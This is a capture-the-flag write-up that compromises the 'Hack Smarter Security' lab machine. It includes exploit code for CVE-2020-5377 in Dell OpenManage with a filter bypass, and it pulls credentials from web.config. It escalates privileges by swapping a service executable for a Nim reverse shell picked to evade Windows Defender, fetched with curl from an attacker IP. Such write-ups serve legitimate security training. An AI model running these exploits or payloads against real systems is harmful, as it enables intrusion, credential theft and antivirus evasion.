Hack Smarter Security

Can you hack the hackers? - by TeneBrae93 and tgreenMWR


Recon

We start with a Nmap scan and find six open ports. An FTP service is running on 21, SSH is available on 22, we have a web server on port 80 and RDP is available on port 3389. What exactly is running on port 1311 and 7680 cannot yet be determined, but we start a version and default script scan in the second run.

The service and script scan tell us a lot more. An IIS is running behind port 80. Furthermore, we can see the hostname of the targets via 3389: HACKSMARTERSEC. We also see that an HTTP server is probably running on port 1311. We are dealing with a Windows host.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/hacksmartersecurity]
└─$ sudo nmap -sC -sV -p 21,22,80,1311,3389,7680 hacksmarter.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-15 20:19 EDT
Nmap scan report for hacksmarter.thm (10.10.201.35)
Host is up (0.12s latency).

PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 06-28-23  02:58PM                 3722 Credit-Cards-We-Pwned.txt
|_06-28-23  03:00PM              1022126 stolen-passport.png
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp   open     ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 0d:fa:da:de:c9:dd:99:8d:2e:8e:eb:3b:93:ff:e2:6c (RSA)
|   256 5d:0c:df:32:26:d3:71:a2:8e:6e:9a:1c:43:fc:1a:03 (ECDSA)
|_  256 c4:25:e7:09:d6:c9:d9:86:5f:6e:8a:8b:ec:13:4a:8b (ED25519)
80/tcp   open     http          Microsoft IIS httpd 10.0
|_http-title: HackSmarterSec
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
1311/tcp open     ssl/rxmon?
| ssl-cert: Subject: commonName=hacksmartersec/organizationName=Dell Inc/stateOrProvinceName=TX/countryName=US
| Not valid before: 2023-06-30T19:03:17
|_Not valid after:  2025-06-29T19:03:17
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Strict-Transport-Security: max-age=0
|     X-Frame-Options: SAMEORIGIN
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     vary: accept-encoding
|     Content-Type: text/html;charset=UTF-8
|     Date: Sat, 16 Mar 2024 00:20:07 GMT
|     Connection: close
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|     <html>
|     <head>
|     <META http-equiv="Content-Type" content="text/html; charset=UTF-8">
|     <title>OpenManage&trade;</title>
|     <link type="text/css" rel="stylesheet" href="/oma/css/loginmaster.css">
|     <style type="text/css"></style>
|     <script type="text/javascript" src="/oma/js/prototype.js" language="javascript"></script><script type="text/javascript" src="/oma/js/gnavbar.js" language="javascript"></script><script type="text/javascript" src="/oma/js/Clarity.js" language="javascript"></script><script language="javascript">
|   HTTPOptions: 
|     ...
3389/tcp open     ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: HACKSMARTERSEC
|   NetBIOS_Domain_Name: HACKSMARTERSEC
|   NetBIOS_Computer_Name: HACKSMARTERSEC
|   DNS_Domain_Name: hacksmartersec
|   DNS_Computer_Name: hacksmartersec
|   Product_Version: 10.0.17763
|_  System_Time: 2024-03-16T00:20:23+00:00
| ssl-cert: Subject: commonName=hacksmartersec
| Not valid before: 2024-03-15T00:11:05
|_Not valid after:  2024-09-14T00:11:05
|_ssl-date: 2024-03-16T00:20:25+00:00; -10s from scanner time.
7680/tcp filtered pando-pub
....

Host script results:
|_clock-skew: mean: -10s, deviation: 0s, median: -10s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.78 seconds

We start Feroxbuster, and enumerate possible directories. Not much becomes apparent.

Since we also have a hostname/ domain name, it could be that there are other subdomains running on port 80 or 1311. But this is not the case.

The further enumeration of the web service on port 80 and 21 is described as a bonus in the following section and can be skipped. This endpoint is not relevant for the further progression of the challenge. We continue with the web service on port 1311. Unfortunately, the Gobuster/ Feroxbuser scan on this endpoint did not reveal anything. When visiting the page we get the hint that TSL is required.

We switch to https://hacksmartersec:1311/, and we get redirected to https://hacksmaertersec:1311/OMSALogin?msgStatus=null. Great we are dealing with DELL EMC OPENMANAGE and have a login mask in front of us, but let's take a look around first.

About (see footer) tells us that we are dealing with version 9.4.0.2.

Bonus Recon / Not Relevant

This is a bonus and shows what else was considered but did not contribute to the direct solution. The further procedure for the OPENMANAGE endpoint is explained in the Data Exfiltration section.

We have a contact form at http://hacksmartersec/contact.html, which is just a static HTML page. If it had been a functioning form, the user action could have been tracked as follows and, if necessary furhter exploited with blind XSS for example.

The Nmap scan showed that FTP access via anonymous is possible. Unfortunately, we only find a nice picture of an ID card and a suspicious text file.

To download the .PNG we have to switch to binary mode.

Uh, hello there 😊.

Data Exfiltration

As already mentioned, we have it to deal with DELL EMC OPENMANAGE in version 9.4.0.2. CVE-2020-5377 is known for this version, which is explained in detail in the following article.

The blog discusses vulnerabilities found in Dell OpenManage Server Administrator (OMSA) during an internal penetration test, including CVE-2020-5377 and CVE-2021-21514. It details an authentication bypass and file read vulnerability in OMSA versions 9.4.0.0 and 9.4.0.2. Despite disclosure to Dell, the authentication bypass was deemed intended functionality. The file read vulnerability allows arbitrary file access. A security filter meant to address this was bypassed easily. A proof of concept for exploiting these vulnerabilities is provided. Dell released patches for some vulnerabilities but maintained the authentication bypass as intended. Mitigation involves disabling managed system login if not in use. The blog concludes with recommendations to secure OMSA usage and mentions future updates. PoCs can also be found via Searchsploit / exploit-db.com. However, these do not work in this case, because that version does not include the security filter bypass of CVE-2021-21514.

The article links to the PoC of the company, which is also referenced at exploit-db. We will use this to retrieve data from the system:

This one also includes the bypass of CVE-2021-21514, see line 9:

Snipet of CVE-2020-5377.py
def read_file(target, sess_id, path_id):
    while True:
        file = input('file > ')
        url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file)
        s = requests.Session()
        cookies = {"JSESSIONID": sess_id}
        req = requests.Request(method='GET', url=url, cookies=cookies)
        prep = req.prepare()
        prep.url = "https://{}/{}/DownloadServle%74?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file)
        r = s.send(prep, verify=False)
        print('Reading contents of {}:\n{}'.format(file, r.content.decode('utf-8')))

We execute the script as follows, which expects us to pass our IP, the destination IP and the destination port.

python CVE-2020-5377.py <attacker IP> <target IP>:<target port>

We are now able to retrieve files on the system. We start with C:\Windows\win.ini. A file that is available and accessible on every Windows system. This allows us to test whether the exploit actually works. We know that RDP and SSH are accessible, so we are looking for credentials.

A good place for these is usually the web.config of the IIS. We can find the config at C:\inetpub\wwwroot\application\web.config. We know from our Nmap scan that the HTTP title corresponds to the domain name. Possibly this is the application name.

And when we call up \inetpub\wwwroot\hacksmartersec\web.config, we actually get its content and thus the credentials for the user tyler.

Initial Foothold

We are trying to access the system with the credentials via RDP and SSH and have done so via SSH. We are on the system as the user tyler, with normal user authorizations. Furthermore, we find the user flag on the user's Desktop.

Privilege Escalation

When looking through the system, the installations in C:\Program Files(x86) stand out. These include the AWS installations, Spoofer and WinPcap, which are not common.

The system is well protected by Windows Defender, the first attempts with WinPEAS were recognized directly and removed from the system.

But the script PrivescCheck, which does something similar to WinPEAS, was not recognized:

We can bring it to the system via SCP or download via web server. If we start PowerShell we can use the cURL alias.

curl http://10.8.211.1/PrivescCheck.ps1 -o p.ps1

We import the script and let it enumerate the system directly.

. .\p.ps1; Invoke-PrivescCheck -Extended

We find a very likely vulnerability, rated as high. The spoofer-scheduler service can be started and stopped by a normal user. The service runs under the LocalSystem. If we now replace the executable of the service, e.g. with a reverse shell or an executable that creates an admin account for us, we can escalate our privileges.

We confirm that we can write to C:\Program Files(x86)\Spoofer. We now need a reverse shell executable that is not recognized by Windows Defender. A simple msfvenom payload gets easily detected and deleted.

Tyler introduced a reverse shell executable that is being capable of not getting detected by Windows Defender some time ago. A reverse shell written in Nim. I had also used this in the challenge Stealth. A detailed description can also be found there. Another possibility is described here, here a msfvenom payload is placed in a custom binary. However, I have not tested this for this challenge: https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates

Here is the source for the nim reverse shell:

To install Nim and mingw-w64 run the following:

sudo apt install mingw-w64
sudo apt install nim

After cloning the repository we have to edit rev_shell.nim with our IP and desired port. We chose port 80, as other ports may be blocked by the firewall and port 80 will be open for outgoing traffic as we reach the endpoint on port 80.

We compile the reverse shell as explained in the repository and rename it to spoofer-scheduler.exe afterwards like our target that it is supposed to replace. Then we deploy a web server to make the reverse shell available to our target.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/hacksmatersecurity/Nim-Reverse-Shell]
└─$ nim c -d:mingw --app:gui -o:DebugCrashTHM.exe rev_shell.nim

Next, we stop the service, replace the spoofer-scheduler.exe with ours.

On the first run I lost a lot of time because I did not see that the service disappears when the spoofer-scheduler.exe is deleted or modified while the service is still running. Then it is no longer possible to end and start the service cleanly and the machine may have to be restarted.

sc stop spoofer-scheduler
curl http://10.8.211.1/spoofer-scheduler.exe -o spoofer-scheduler.exe

Our HTTP server is still using our port 80, we need to terminate it and open a listener on port 80 on our attacker machine.

We start the service again.

sc start spoofer-scheduler

Our reverse shell connects, we are the NT/ Authority System user and have access to C:\Users\Administrator. As the challenge says, the next targets of the threat actor are on the administrator's desktop:

Once you gain access to their server, navigate through their intricate network infrastructure, bypassing firewalls, encryption protocols, and other security layers. Locate the central repository where they store sensitive information, including their upcoming target list. Intel has reported this is located on the desktop of the Administrator user.

Unfortunately, we have to be quick, as the service times out after a while and the reverse shell is interrupted. Alternatively, you could write an executable that creates an admin user, or make sure that we create a user ourselves during the short connection time.

At C:\Users\Administrator\Desktop\Hacking-Targets\hacking-targets.txt we find the targets to answer the last task of the Challenge.

whoami /priv
cd C:\Users\Administrator\Desktop\
type Hacking-Targets\hacking-targets.txt

If the reverse shell is terminated and the service can no longer be found, you can try to set up a listener on port 80 again and run sc start spoofer-scheduler directly on the target, this should bring the reverse shell back immediately.

Bonus / Possible Dead End

While enumerating the host, I noticed that SMB is open internally. We can make this accessible for us via port forwarding using Chisel. There were no further shares, but a possible vulnerability could be discovered via NetExec, which I had not yet tested and which initially took some time in research.

We set up a chisel server on our attacker machine...

...And we forward the port

We use the petitpotam module via NetExec to check for vulnerability. PetitPotam is a technique or vulnerability that exploits a flaw in Microsoft's NTLM authentication protocol, which is used for authentication on Windows-based networks. It allows attackers to coerce Windows hosts into authenticating to a malicious server controlled by the attacker.

More has not yet been tried...

Last updated